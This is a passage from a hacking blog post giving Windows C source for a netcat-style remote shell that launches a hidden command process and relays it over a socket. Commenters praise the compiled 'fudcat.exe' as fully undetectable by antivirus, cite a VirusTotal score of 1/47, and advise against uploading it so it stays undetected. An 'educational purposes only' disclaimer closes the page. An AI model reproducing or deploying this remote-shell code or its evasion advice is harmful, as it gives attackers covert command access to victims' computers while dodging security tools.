if (Session->WriteShellThreadHandle == NULL) {
holler("ReadiShell isession ithread, ierror = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);

//
// Reset the client pipe handle to indicate this session is disconnected
//
Session->ClientSocket = INVALID_SOCKET;

TerminateThread(Session->WriteShellThreadHandle, 0);
return(FALSE);
}

//
// Wait for either thread or the shell process to finish
//

HandleArray[0] = Session->ReadShellThreadHandle;
HandleArray[1] = Session->WriteShellThreadHandle;
HandleArray[2] = Session->ProcessHandle;


i = WaitForMultipleObjects(3, HandleArray, FALSE, 0xffffffff);


switch (i) {
case WAIT_OBJECT_0 + 0:
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;

case WAIT_OBJECT_0 + 1:
TerminateThread(Session->ReadShellThreadHandle, 0);
TerminateProcess(Session->ProcessHandle, 1);
break;
case WAIT_OBJECT_0 + 2:
TerminateThread(Session->WriteShellThreadHandle, 0);
TerminateThread(Session->ReadShellThreadHandle, 0);
break;

default:
holler("iWaitiForMultipleiObjectsi ierror: %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);

break;
}


// Close my handles to the threads, the shell process, and the shell pipes
shutdown(Session->ClientSocket, SD_BOTH);
closesocket(Session->ClientSocket);

DisconnectNamedPipe(Session->ReadPipeHandle);
CloseHandle(Session->ReadPipeHandle);

DisconnectNamedPipe(Session->WritePipeHandle);
CloseHandle(Session->WritePipeHandle);


CloseHandle(Session->ReadShellThreadHandle);
CloseHandle(Session->WriteShellThreadHandle);

CloseHandle(Session->ProcessHandle);

free(Session);

return(TRUE);
}


// **********************************************************************
//
// StartShell
//
// Execs the shell with the specified handle as stdin, stdout/err
//
// Returns process handle or NULL on failure
//

static HANDLE
StartShell(
HANDLE ShellStdinPipeHandle,
HANDLE ShellStdoutPipeHandle
)
{
PROCESS_INFORMATION ProcessInformation;
STARTUPINFO si;
HANDLE ProcessHandle = NULL;

//
// Initialize process startup info
//
si.cb = sizeof(STARTUPINFO);
si.lpReserved = NULL;
si.lpTitle = NULL;
si.lpDesktop = NULL;
si.dwX = si.dwY = si.dwXSize = si.dwYSize = 0L;
si.wShowWindow = SW_HIDE;
si.lpReserved2 = NULL;
si.cbReserved2 = 0;

si.dwFlags = STARTF_USESTDHANDLES | STARTF_USESHOWWINDOW;

si.hStdInput = ShellStdinPipeHandle;
si.hStdOutput = ShellStdoutPipeHandle;

DuplicateHandle(GetCurrentProcess(), ShellStdoutPipeHandle,
GetCurrentProcess(), &si.hStdError,
DUPLICATE_SAME_ACCESS, TRUE, 0);

if (CreateProcess(NULL, pr00gie, NULL, NULL, TRUE, 0, NULL, NULL,
&si, &ProcessInformation))
{
ProcessHandle = ProcessInformation.hProcess;
CloseHandle(ProcessInformation.hThread);
}
else
holler("iFailed ito iexecute ishell, ierror = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);


return(ProcessHandle);
}


// **********************************************************************
// SessionReadShellThreadFn
//
// The read thread procedure. Reads from the pipe connected to the shell
// process, writes to the socket.
//

static VOID
SessionReadShellThreadFn(
LPVOID Parameter
)
{
PSESSION_DATA Session = Parameter;
BYTE Buffer[BUFFER_SIZE];
BYTE Buffer2[BUFFER_SIZE*2+30];
DWORD BytesRead;

// this bogus peek is here because win32 won't let me close the pipe if it is
// in waiting for input on a read.
while (PeekNamedPipe(Session->ReadPipeHandle, Buffer, sizeof(Buffer),
&BytesRead, NULL, NULL))
{
DWORD BufferCnt, BytesToWrite;
BYTE PrevChar = 0;

if (BytesRead > 0)
{
ReadFile(Session->ReadPipeHandle, Buffer, sizeof(Buffer),
&BytesRead, NULL);
}
else
{
Sleep(50);
continue;
}



//
// Process the data we got from the shell: replace any naked LF's
// with CR-LF pairs.
//
for (BufferCnt = 0, BytesToWrite = 0; BufferCnt < BytesRead; BufferCnt++) {
if (Buffer[BufferCnt] == '\n' && PrevChar != '\r')
Buffer2[BytesToWrite++] = '\r';
PrevChar = Buffer2[BytesToWrite++] = Buffer[BufferCnt];
}

if (send(Session->ClientSocket, Buffer2, BytesToWrite, 0) <= 0)
break;
}

if (GetLastError() != ERROR_BROKEN_PIPE)
holler("iSessioniReadiShelliThreadiFn iexitted, ierror = %s",
itoa(GetLastError(), smbuff, 10), NULL, NULL, NULL, NULL, NULL);

ExitThread(0);
}


// **********************************************************************
// SessionWriteShellThreadFn
//
// The write thread procedure. Reads from socket, writes to pipe connected
// to shell process.


static VOID
SessionWriteShellThreadFn(
LPVOID Parameter
)
{
PSESSION_DATA Session = Parameter;
BYTE RecvBuffer[1];
BYTE Buffer[BUFFER_SIZE];
DWORD BytesWritten;
DWORD BufferCnt;

BufferCnt = 0;

//
// Loop, reading one byte at a time from the socket.
//
while (recv(Session->ClientSocket, RecvBuffer, sizeof(RecvBuffer), 0) != 0) {

Buffer[BufferCnt++] = RecvBuffer[0];
if (RecvBuffer[0] == '\r')
Buffer[BufferCnt++] = '\n';


// Trap exit as it causes problems
if (strnicmp(Buffer, "exit\r\n", 6) == 0)
ExitThread(0);


//
// If we got a CR, it's time to send what we've buffered up down to the
// shell process.
// SECURITY FIX: CW 12/27/04 Add BufferCnt size check. If we hit end of buffer, flush it
if (RecvBuffer[0] == '\n' || RecvBuffer[0] == '\r' || BufferCnt > BUFFER_SIZE-1) {
if (! WriteFile(Session->WritePipeHandle, Buffer, BufferCnt,
&BytesWritten, NULL))
{
break;
}
BufferCnt = 0;
}
}

ExitThread(0);
}

#endif

3 comments:

  1. First submission 2013-03-26 17:54:49 UTC ( 1 month, 3 weeks ago )
    Last submission 2013-05-23 14:07:12 UTC ( 0 minutes ago )
    File names fudcat.exe

    Still Fud ;)

    ReplyDelete
  2. This file was already analysed by VirusTotal on 2013-05-23 14:07:12 .

    Detection ratio: 1/47

    You can take a look at the last analysis or analyse it again now.

    SHA256: 68752c563cb85076c67b25122132f3d98f8d9b6a992ea1bd0630bbbecd43a86f
    File name: fudcat.exe
    Detection ratio: 2 / 48
    Analysis date: 2013-10-03 17:18:41 UTC ( 0 minutes ago )

    over 5 months still fud by most av´s great work

    ReplyDelete
  3. Yes great but anytime your payload is detected, Virus Total submits your binary to the AV companies. Never ever upload to VT if you want to stay FUD.

    ReplyDelete

[#] iNFO [#]

All the information provided on this site is for educational purposes only.
 
The site and it's author is in no way responsible for any misuse of the information.
©2012 Security is just an Illusion is powered by Blogger - Template designed by Stramaxon - Best SEO Template